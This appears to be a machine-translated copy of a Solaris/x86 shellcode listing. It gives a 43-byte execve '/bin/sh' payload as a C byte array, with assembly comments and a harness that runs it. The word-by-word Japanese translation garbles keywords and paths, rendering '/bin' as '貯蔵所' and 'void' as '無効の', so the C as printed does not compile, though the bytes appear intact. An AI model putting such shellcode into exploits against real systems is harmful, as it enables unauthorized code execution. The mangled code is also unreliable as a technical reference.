このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Solaris/x86 - execve /貯蔵所/sh - 43 bytes
/*
 * Solaris shellcode - execve /貯蔵所/sh
 */

#含む 

// http://www.shellcode.com.ar
//
// execve(//貯蔵所/sh)

char shellcode[]=
   "\xb8\xff\xf8\xff\x3c"       // mov    eax, 03cfff8ffh
   "\xf7\xd0"                   // not    eax
   "\x50"                       // 押し進める   eax
   "\x31\xc0"                   // xor    eax, eax
   "\xb0\x9a"                   // mov    al, 09ah
   "\x50"                       // 押し進める   eax
   "\x89\xe5"                   // mov    ebp, esp
   "\x31\xc0"                   // xor    eax, eax
   "\x50"                       // 押し進める   eax
   "\x68\x2f\x2f\x73\x68"       // 押し進める   dword 68732f2fh
   "\x68\x2f\x62\x69\x6e"       // 押し進める   dword 6e69622fh
   "\x89\xe3"                   // mov    ebx, esp
   "\x50"                       // 押し進める   eax
   "\x53"                       // 押し進める   ebx
   "\x89\xe2"                   // mov    edx, esp
   "\x50"                       // 押し進める   eax
   "\x52"                       // 押し進める   edx
   "\x53"                       // 押し進める   ebx
   "\xb0\x3b"                   // mov    al, 59
   "\xff\xd5";                  // call   ebp

//

int
main(無効の)
{
    無効の (*code)() = (無効の *)shellcode;
    printf("Shellcode length: %d\n", strlen(shellcode));
    code();
    return(1);
}